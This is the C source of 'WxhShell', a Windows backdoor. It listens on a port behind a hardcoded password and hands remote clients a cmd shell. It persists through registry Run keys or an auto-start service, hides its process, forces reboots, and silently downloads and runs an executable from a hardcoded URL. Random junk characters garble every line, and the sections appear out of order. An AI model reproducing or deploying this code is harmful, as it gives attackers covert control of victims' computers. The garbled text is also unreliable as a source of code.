    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ukG1<j7.  
    if(Boot(SHUTDOWN)) 1AoBsEnd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 5|5|m a  
    else { ^@{'! N  
    closesocket(wsh); ^0X86  
    ExitThread(0); }=XL^a|V  
    } }o)GBWqHR  
    break; m#%5H  
    } ]!0*k#i_.  
  // 获取shell x`C;  
  case 's': { k`\DC\0RG  
    CmdShell(wsh); CgEeO,N]j  
    closesocket(wsh); 7p u*/W~  
    ExitThread(0); FUq@ dUv  
    break; 9W'#4  
  } .lTGFeJqZ4  
  // 退出 p(f)u]1`  
  case 'x': { 3y 0`G8P'h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mnu7Y([2>  
    CloseIt(wsh); Kj-:'jzW  
    break; ijyj}gpWha  
    } F\Tlpp9  
  // 离开 H+*o @0C\~  
  case 'q': { T*A_F [  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wW!*"z  
    closesocket(wsh); 0 w@~ynW[  
    WSACleanup(); ?bN8h)>QQ8  
    exit(1); ,YH^jc  
    break; hnE@+(d=qJ  
        }  $7|0{Dw  
  } B;G|2um:$  
  } oleRQ=  
LX*T<|c`'  
  // 提示信息 `"-)ObOj}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OmKT}D~ 4  
} z KJ6j]m  
  } &a48DCZ  
rBgLj,/`U/  
  return; o @&#*3<_e  
} /i^b;?/1  
)5yZSdA  
// shell模块句柄 tQ=U22&7  
int CmdShell(SOCKET sock) Gi;e Drgj~  
{ }Qg9l|  
STARTUPINFO si; 4P2)fLmc  
ZeroMemory(&si,sizeof(si)); #( X4M{I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `<\AnhNW]I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T(3"bS.,  
PROCESS_INFORMATION ProcessInfo; eeB^c/k(P  
char cmdline[]="cmd"; .&}}ro48  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sfVtYIu  
  return 0; 8 wC3}U  
} pN%L3?2  
>rYP}k  
// 自身启动模式 ]u2! )vZh'  
int StartFromService(void) (A(d]l  
{  D&N5)  
typedef struct t3U*rr|A  
{ nC[L"%E|se  
  DWORD ExitStatus; zL)m!:_  
  DWORD PebBaseAddress; w_\niqm<y  
  DWORD AffinityMask; DSET!F;PG  
  DWORD BasePriority; Kw-E%7gh4c  
  ULONG UniqueProcessId; ^5"s3Qn  
  ULONG InheritedFromUniqueProcessId; W@pVP4F0xM  
}   PROCESS_BASIC_INFORMATION; 2/>AmVM  
,v)@&1Wh:  
PROCNTQSIP NtQueryInformationProcess; 4b6$Mj  
(*"R"Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &?YQVwsN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Ux/ Ug@  
f4X?\eGT  
  HANDLE             hProcess; })T_D\2M  
  PROCESS_BASIC_INFORMATION pbi; xmq~:fcU=  
^*}L9Ot~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =@{H7z(p&  
  if(NULL == hInst ) return 0; W13$-hf9  
UY)YhXW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JH<q7Y6!y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ybd){Je"z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5O*. qp?  
BnAia3z  
  if (!NtQueryInformationProcess) return 0; Eiz\Nb  
LFg<j1Gk`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pme`UcE3H  
  if(!hProcess) return 0;  l R;<6  
e&]XiV'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "t4~xs`~X  
QLIm+)T  
  CloseHandle(hProcess); oOQnV(I  
$Ce`(/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d!w32Y,.  
if(hProcess==NULL) return 0; #i:p,5~")  
uX`Jc:1q3  
HMODULE hMod; Cw Z{&  
char procName[255]; ;:"~utL7  
unsigned long cbNeeded; ,:;nq>;  
u4+)lvt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c67O/ B(  
1z[WJ}$u  
  CloseHandle(hProcess); 6RzTSb  
G^ n|9)CVW  
if(strstr(procName,"services")) return 1; // 以服务启动 "o[\Aec:  
.;*0odxv  
  return 0; // 注册表启动 i,* DWD+  
} #lV&U  
m,)Re8W-  
// 主模块 (Dc dR:/=  
int StartWxhshell(LPSTR lpCmdLine) N}.h_~6  
{ p3sz32RX  
  SOCKET wsl; 0jj }jw  
BOOL val=TRUE; Hhfqb"2on  
  int port=0; 80:na7$)#  
  struct sockaddr_in door; [f- #pew  
nLo:\I(  
  if(wscfg.ws_autoins) Install(); rQ~%SUM7  
I#$u(2.H  
port=atoi(lpCmdLine); PT>,:zY  
i-tX5Md|  
if(port<=0) port=wscfg.ws_port; !~>u\h  
gsT%_2>CL  
  WSADATA data; C7)].vUN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E%/E%9-7\  
.@1\26<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z2nDD6N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ))306*X\  
  door.sin_family = AF_INET; +a;: 7[%&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *:GoS?Ma  
  door.sin_port = htons(port); H( cY=d,  
UW)k]@L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Udd|.JRd  
closesocket(wsl); :5C9uW #  
return 1; 5 _] i==M  
} }bjTb!  
=Z%&jul  
  if(listen(wsl,2) == INVALID_SOCKET) { Z(.p=Wg  
closesocket(wsl); Y}e$5  
return 1; Uv5E$Y"e10  
} 0 ,Bd,<3  
  Wxhshell(wsl); /z5j.TMs  
  WSACleanup(); lD 9'^J  
C 5)G^  
return 0; M62V NYt  
//| 9J(B]  
} 'B6D&xn'%&  
wK|&[m s  
// 以NT服务方式启动 "64pVaT4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m!!uf/  
{ s)&"g a  
DWORD   status = 0; ]$KH78MTW  
  DWORD   specificError = 0xfffffff; U4^dDj  
uXtfP?3Vy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [ub,&j^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $+V{2k4X,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8 rnr>Ee@  
  serviceStatus.dwWin32ExitCode     = 0; /AW6XyMD _  
  serviceStatus.dwServiceSpecificExitCode = 0; D|_}~T>;&  
  serviceStatus.dwCheckPoint       = 0; N=:yl/M  
  serviceStatus.dwWaitHint       = 0; ygT,I+7\  
Mt-y{*6!k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]3Mm"7`  
  if (hServiceStatusHandle==0) return; = `70]%  
D~8f6Ko"m  
status = GetLastError(); N b(se*Y#  
  if (status!=NO_ERROR) :'.-*Ew  
{ hLJO\=0rJz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6n;ewl}  
    serviceStatus.dwCheckPoint       = 0; qH"0?<$9  
    serviceStatus.dwWaitHint       = 0; "52wa<MV J  
    serviceStatus.dwWin32ExitCode     = status; #N,\c@Gy  
    serviceStatus.dwServiceSpecificExitCode = specificError; A5 8i}G9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b!_l(2  
    return; >8jDW "Ua  
  } ~hP[[?  
dk;Ed  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BOfO$J}  
  serviceStatus.dwCheckPoint       = 0; gY;N>Yq,C  
  serviceStatus.dwWaitHint       = 0; ${e(#bvGZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vWzNsWPK"{  
} LOe!qt\&  
xI_WkoI  
// 处理NT服务事件,比如:启动、停止 V}@c5)(j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -7;RPHJs  
{ s7T=/SC54  
switch(fdwControl)  <}B|4($  
{ l m-ubzJN  
case SERVICE_CONTROL_STOP: c3oI\lU  
  serviceStatus.dwWin32ExitCode = 0; OJkPlDym  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0qJ 3@d  
  serviceStatus.dwCheckPoint   = 0; _v]I6<!5U  
  serviceStatus.dwWaitHint     = 0; &t p5y}=n  
  { Tz%l 9aC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KGK8;Q,O  
  } yf_<o   
  return; Rp.@  
case SERVICE_CONTROL_PAUSE: }R}tIC-:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '!IX;OSjH  
  break; bYG}CO  
case SERVICE_CONTROL_CONTINUE: TX;OA"3=\-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >o'D/'>ku  
  break; VVCCPK^<  
case SERVICE_CONTROL_INTERROGATE: X2sK<Qluql  
  break; u'?t'I  
}; <8-I:o]mF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;zz"95X7  
} f ( UcJx  
u%ih7v!r\  
// 标准应用程序主函数 US> m1KsX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0r+-}5aSl5  
{ z[OW%(vrm  
?9=yo5M}  
// 获取操作系统版本 1Rl`}7Km  
OsIsNt=GetOsVer(); P+"#xH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i.K}(bo;b  
/Rt/Efu  
  // 从命令行安装 h3O5DP6~  
  if(strpbrk(lpCmdLine,"iI")) Install(); j:{<    
Eb{TKz?  
  // 下载执行文件 Hi.JL  
if(wscfg.ws_downexe) { 9(u2jbA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mHw1n=B  
  WinExec(wscfg.ws_filenam,SW_HIDE); _)%4NjWKk  
} <NS= <'U  
)xTp7YnZ;  
if(!OsIsNt) { &TC  
// 如果时win9x,隐藏进程并且设置为注册表启动 EHo"y.ODg  
HideProc(); C-4I e  
StartWxhshell(lpCmdLine); A3 j>R477A  
} 6p1TI1(  
else fI"`[cA"]  
  if(StartFromService()) r>osa3N'  
  // 以服务方式启动 2.; OHQTE  
  StartServiceCtrlDispatcher(DispatchTable); C5XCy%h  
else -AcQ_dS  
  // 普通方式启动 X>*zA?:  
  StartWxhshell(lpCmdLine); D0"+E*   
4I,@aj46  
return 0; ,[cWG)-  
} 3zh'5qQ  
FK mFjqY  
^!kv gm<{$  
%f:'A%'Qb  
=========================================== u6B (f;  
ZE}m\|$  
'# (lq5 c  
xFyMg&  
b<:s{f"t,  
^P{'l^CVX  
" ,QKG$F  
,pAMQ5  
#include <stdio.h> Qt@~y'O  
#include <string.h> ;7 IVg[f  
#include <windows.h> XWB>' UDQ#  
#include <winsock2.h> .h7b 4J  
#include <winsvc.h> ^g~-$t<!  
#include <urlmon.h> Q jQJ "  
lg!1q8  
#pragma comment (lib, "Ws2_32.lib") _@"Y3Lqi  
#pragma comment (lib, "urlmon.lib") 0udE\/4!^  
*DG*&Me  
#define MAX_USER   100 // 最大客户端连接数 VfZ/SByh7p  
#define BUF_SOCK   200 // sock buffer ;M'R/JlUN  
#define KEY_BUFF   255 // 输入 buffer 7:1Hgj(  
5d L-v&W  
#define REBOOT     0   // 重启 ,eZ'pxt  
#define SHUTDOWN   1   // 关机 hs/nM"V  
2;kab^iv'  
#define DEF_PORT   5000 // 监听端口 _IgG8)k;  
Y-,#3%bT;;  
#define REG_LEN     16   // 注册表键长度 c)Y I3G$  
#define SVC_LEN     80   // NT服务名长度 jj.yB#T  
6\E |`  
// 从dll定义API :X ;8$.z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Ojg~P4;&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Qi`5C:U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~&KfJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sAnH\AFm  
3w^q0/ GD  
// wxhshell配置信息 :b.#h7Qt<  
struct WSCFG { @&2T0UB  
  int ws_port;         // 监听端口 }>h?W1  
  char ws_passstr[REG_LEN]; // 口令 uF< F4m;  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ -?)-L&g  
  char ws_regname[REG_LEN]; // 注册表键名 xy|;WB  
  char ws_svcname[REG_LEN]; // 服务名 3Um\?fj>}(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y RA[qc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^pg5o)M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6aj)Fe'2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }}Q|O]e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g/Qr] :;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 778L[wYe  
VW'e&v1.  
}; 9|OQHy  
;vd%=vR  
// default Wxhshell configuration -R:1-0I$  
struct WSCFG wscfg={DEF_PORT, A70_hhP  
    "xuhuanlingzhe", op"Cc  
    1, ;f6G&>p  
    "Wxhshell", ,a?em'=  
    "Wxhshell", [#)$BXG~y  
            "WxhShell Service", os#j;C]l  
    "Wrsky Windows CmdShell Service", .11iulQ  
    "Please Input Your Password: ", j)J4[j  
  1, r_R|.fl<[  
  "http://www.wrsky.com/wxhshell.exe", ,@[Q:fY  
  "Wxhshell.exe" H:0-.a^ZS  
    }; rl6vt*g  
X|8Y z3:o  
// 消息定义模块 ~ae68&L6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !7}5"j ;A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VS 8|lgQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q}]Q0'X8  
char *msg_ws_ext="\n\rExit."; op}x}Ioz  
char *msg_ws_end="\n\rQuit."; 46$u}"E  
char *msg_ws_boot="\n\rReboot..."; VQLo vt"  
char *msg_ws_poff="\n\rShutdown..."; bC)<AG@Z\  
char *msg_ws_down="\n\rSave to "; b z<wihZj  
6,oi(RAf  
char *msg_ws_err="\n\rErr!"; iVmf/N@A|  
char *msg_ws_ok="\n\rOK!"; SX*os$  
{;z3$/JB  
char ExeFile[MAX_PATH]; $`]<4I9d  
int nUser = 0; *D`,z3/*  
HANDLE handles[MAX_USER]; `~*qjA  
int OsIsNt; E9 q8tE}  
bZ%[ON5OY  
SERVICE_STATUS       serviceStatus; Tm` QZh3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )_+#yaC  
o F @{&  
// 函数声明 ~~k IA"U  
int Install(void); BHU(Hd  
int Uninstall(void); a1om8!C  
int DownloadFile(char *sURL, SOCKET wsh); spFsrB  
int Boot(int flag); ] niWRl  
void HideProc(void); +IJpqFH  
int GetOsVer(void); \Lh,dZ}d  
int Wxhshell(SOCKET wsl); rLP4l~V   
void TalkWithClient(void *cs); zwAuF%U  
int CmdShell(SOCKET sock); !y*V;J  
int StartFromService(void); U6_1L,W  
int StartWxhshell(LPSTR lpCmdLine); ir/2/ E  
Wx:_F;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )5]z[sE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,[~Ydth  
m,=$a\UC  
// 数据结构和表定义 `DJIY_{-2  
SERVICE_TABLE_ENTRY DispatchTable[] = !nykq}kPN\  
{ $aGK8%.O  
{wscfg.ws_svcname, NTServiceMain}, hRA.u'M  
{NULL, NULL} Kji}2j'a  
}; q9Fc0(&Vf  
j*+r`CX  
// 自我安装 sU{+.k{  
int Install(void) c~c3;  
{ v[lytX4)  
  char svExeFile[MAX_PATH]; rhL<JTS  
  HKEY key; FRfMtxvU  
  strcpy(svExeFile,ExeFile); 9Z#37)  
0BE%~W  
// 如果是win9x系统,修改注册表设为自启动 x<= ;=893  
if(!OsIsNt) { 2RM1-j ($  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nP0} vX)<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gg8T],s1!a  
  RegCloseKey(key); Q/0}AQO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Efp{E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !!` zz  
  RegCloseKey(key); fM2[wh@  
  return 0; wmoOp;C  
    } _I'O4s1S  
  } |,yS>kjp  
} $p9XXZ"*  
else { 8q0f#/`v  
zpa'G1v  
// 如果是NT以上系统,安装为系统服务 <v{jJ7w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %:oGyV7a  
if (schSCManager!=0) NT8%{>F`  
{ )6AOP-M.9  
  SC_HANDLE schService = CreateService _$Fi]l!f  
  ( G\P*zz Sq  
  schSCManager, xds"n5  
  wscfg.ws_svcname, WG^D$L:  
  wscfg.ws_svcdisp, ]|732Z  
  SERVICE_ALL_ACCESS, VK|!aqA{b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FyY;F;4P  
  SERVICE_AUTO_START, h eh! cDK  
  SERVICE_ERROR_NORMAL, M)b`~|Wt  
  svExeFile, 6 a$%  
  NULL, c9ghR0WM  
  NULL, ob*2V! "  
  NULL, f[ER`!  
  NULL, bz>#}P=58G  
  NULL !p9BH6$`  
  ); i!Ne<Q  
  if (schService!=0) _ l/6Qpf  
  { E8-p ,e,  
  CloseServiceHandle(schService); E+3~w?1  
  CloseServiceHandle(schSCManager); Ni0lj:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B 1p9pr  
  strcat(svExeFile,wscfg.ws_svcname); | _S9U|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / Sp+MB9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c=Z#7?k=Uz  
  RegCloseKey(key); Dd{{ d?;B  
  return 0; cu""vtK   
    } B! -W765Y  
  } Bq2}nDP  
  CloseServiceHandle(schSCManager); vJcvyz#%1  
} 1w5p*U0 ;  
} $~9U-B\  
w'qV~rN~tc  
return 1; 1-JWqV(#?  
} lX7#3ti:  
s&tr84u|  
// 自我卸载 %EVg.k$  
int Uninstall(void) @yek6E&9  
{ ___+5r21\  
  HKEY key; ^.<IT"  
Uz62!)  
if(!OsIsNt) { <4>6k7W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @{$SjR8Q $  
  RegDeleteValue(key,wscfg.ws_regname); }k ,Si9O  
  RegCloseKey(key); t>b^S,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xt-;7  
  RegDeleteValue(key,wscfg.ws_regname); DSIa3! 0  
  RegCloseKey(key); g1}RA@9  
  return 0; \ oL+O|  
  } 6: M   
} "fmJ;W;#1  
} I4") ;T3  
else { #:{u1sq;  
RSkpf94`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > h:~*g  
if (schSCManager!=0) i\ PN  
{ jwE<}y I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b>waxQxjS  
  if (schService!=0) 8EP^M~rv  
  { ] #J ]f  
  if(DeleteService(schService)!=0) { 8p!PR^OM@  
  CloseServiceHandle(schService); g"#+U7O  
  CloseServiceHandle(schSCManager); VX- f~  
  return 0; 3 Zbvf^  
  } I 4EocM=  
  CloseServiceHandle(schService); PSy=O\  
  } HAU8H'h  
  CloseServiceHandle(schSCManager); $AX!L+<!  
} ]V9\4#I4  
} CE+\|5u W  
+-{H T+W  
return 1; !X,=RR `zT  
} 8 {QvB"w  
vUCU%>F  
// 从指定url下载文件 f"PApV9[  
int DownloadFile(char *sURL, SOCKET wsh) <ZnAPh  
{ _-h3>.;h9  
  HRESULT hr; ,0 ])]  
char seps[]= "/"; Ml)WY#7  
char *token; 6ZF5f^M^  
char *file; #2`tsZ]=I  
char myURL[MAX_PATH]; y6Rg@L&U  
char myFILE[MAX_PATH]; 19lx;^b  
;,F}!R  
strcpy(myURL,sURL); ABx0IdOcI  
  token=strtok(myURL,seps); "rX`h  
  while(token!=NULL) }F\0Bl&  
  { T}zOM%]]  
    file=token; he!e~5<@y  
  token=strtok(NULL,seps); KBOxr5w  
  } 4w\')@`[jk  
g#H#i~E^  
GetCurrentDirectory(MAX_PATH,myFILE); J\Se wg9  
strcat(myFILE, "\\"); bhFzu[B  
strcat(myFILE, file); oS]XE!^M  
  send(wsh,myFILE,strlen(myFILE),0); @90)  
send(wsh,"...",3,0); 44cyD _(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  ;BpuNB  
  if(hr==S_OK) zfv l<"Rv  
return 0; <oO^ w&G  
else f v}h;?C  
return 1; &%FpNU9  
IV!&jL  
} >7 4'g }  
x! Z|^q  
// 系统电源模块 I=. 98v%  
int Boot(int flag) )=2iGEVW  
{ e)GFJ3sW_  
  HANDLE hToken; 5{j1<4zxR  
  TOKEN_PRIVILEGES tkp; 8/]5h%  
++5So fG@  
  if(OsIsNt) { c"6<p5j!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~6E `6;`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BgUf:PT  
    tkp.PrivilegeCount = 1; \_0nH`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V"k*PLt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Fp.m}42i(  
if(flag==REBOOT) { b,~6cDU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c]#F^(-A`  
  return 0; T =_Hd  
} &*A7{76x  
else { Y!"LrkC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'IKV%$k  
  return 0; IL*C/y  
} w%KU@$  
  } sO,,i]a0  
  else { p^<*v8,~7  
if(flag==REBOOT) { Q6]SsV?x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p0>W}+8fF  
  return 0; A )tGB&  
} 'QeCJ5p]  
else { JPR o<jt=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zU}Ru&T9  
  return 0; V*Ta[)E  
} Xy5#wDRC  
} *QH@c3vUe\  
*S%~0=  
return 1; #R-l2OO^]  
} nc4KeEl  
Na=.LW-ma=  
// win9x进程隐藏模块 FhpS#, Y$  
void HideProc(void) leR-oeSO  
{ pMndyuoJl  
td@I ;d2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vgKZr  
  if ( hKernel != NULL ) o"wvP~H  
  { z0!k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rvfS[@>v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kg?(Ax4  
    FreeLibrary(hKernel); }w&W\g+E$  
  } C%&A9(jG  
)09>#!*  
return; wo>7^ZA  
} eO%w i.Q  
'vCl@x$  
// 获取操作系统版本 Wz{,N07Q#{  
int GetOsVer(void) {+Zj}3o  
{ Y2$wL9">  
  OSVERSIONINFO winfo; S@4p.NMU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y.yiUf/Q  
  GetVersionEx(&winfo); q8 &\;GK|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t9l]ie{"o.  
  return 1; OKi}aQ2R*  
  else 88uoA6Y8h  
  return 0; " l;=jk]  
} uE &/:+  
>dK# tsp  
// 客户端句柄模块 a=_:`S]}  
int Wxhshell(SOCKET wsl) \RT3#X+  
{ K&4FFZ  
  SOCKET wsh; WQiIS0BJ *  
  struct sockaddr_in client; '><I|c}  
  DWORD myID; ~~r7TPq  
D/)E[Fv+  
  while(nUser<MAX_USER) A'6-E{  
{ xYp-Y"a.  
  int nSize=sizeof(client); L_`D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qx5jaa3  
  if(wsh==INVALID_SOCKET) return 1; ]WYddiF  
<s=i5t My5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )k[{re  
if(handles[nUser]==0) FJD;LpW  
  closesocket(wsh); )tm%0z7R  
else kD46Le++B  
  nUser++; >PYc57S1c  
  } f = 'AI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #EA` |  
~K@p`CRbV  
  return 0; \MDhm,H<  
} }ijFvIHV  
&q>C  
// 关闭 socket K BlJJH`z{  
void CloseIt(SOCKET wsh) Y )68  
{ 4(? Z1S  
closesocket(wsh); d(YAH@  
nUser--; Ca["tks  
ExitThread(0); 2WS Wfh  
} ;w;+<Rd  
V]Kk =  
// 客户端请求句柄 "^)$MAZ  
void TalkWithClient(void *cs) siOyp ]  
{ W 'PW;.,  
]u.)6{  
  SOCKET wsh=(SOCKET)cs; &,QBJx<#  
  char pwd[SVC_LEN]; T"e"?JSRJ  
  char cmd[KEY_BUFF]; p^C$(}Yh  
char chr[1]; <u  ImZC  
int i,j; p'kB1)~|  
#Cb~-2:+7  
  while (nUser < MAX_USER) { [5PQrf~Mo  
/~{ fPS  
if(wscfg.ws_passstr) { m'KEN<)s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l'1_Fb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WM0-F@_  
  //ZeroMemory(pwd,KEY_BUFF); %<>|cO  
      i=0; ^YB3$:@$U  
  while(i<SVC_LEN) { yPf,GB"  
NftR2  
  // 设置超时 ]4Q~x  
  fd_set FdRead; >CYz6G j  
  struct timeval TimeOut; +.a->SZ5"  
  FD_ZERO(&FdRead); ?'si ^N  
  FD_SET(wsh,&FdRead); 8aY}b($*ZI  
  TimeOut.tv_sec=8; fM3ZoH/  
  TimeOut.tv_usec=0; 8#|PJc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &S[>*+}{+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r@CbhD  
K7ZRj\(CJv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \98|.EG  
  pwd=chr[0]; +hIMfhF  
  if(chr[0]==0xd || chr[0]==0xa) { `pXPF}T  
  pwd=0; ~Efi|A/  
  break; IIAm"=*  
  } A<-3u  
  i++; yW;]J8 7*  
    } BAy)P1  
HHZrovA#  
  // 如果是非法用户,关闭 socket ~V/?/J$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); # "TL*p  
} m,SWG[~  
5r^u7k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cdc=1,U(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (kJ"M4*<F'  
O/ZyWT  
while(1) { 960rbxKy3  
2*Mu"v,  
  ZeroMemory(cmd,KEY_BUFF); ~t^'4"K*  
mam(h{f$  
      // 自动支持客户端 telnet标准   41o ~5:&  
  j=0; ~GjM:*  
  while(j<KEY_BUFF) { !%'c$U2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KCfcEz  
  cmd[j]=chr[0]; ^S^7 u  
  if(chr[0]==0xa || chr[0]==0xd) { %loe8yt  
  cmd[j]=0; A"T*uv|  
  break; vUg o)C#<  
  } +w+qTZyky  
  j++; 6zJ>n~&(  
    } D?P1\<A~  
+WSM<S2 U  
  // 下载文件 ^4tz*i  
  if(strstr(cmd,"http://")) { oBzjEv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?)XPY<  
  if(DownloadFile(cmd,wsh)) ~[ x}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7bV  
  else }'Yk#Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0V?:5r<  
  } t 5  
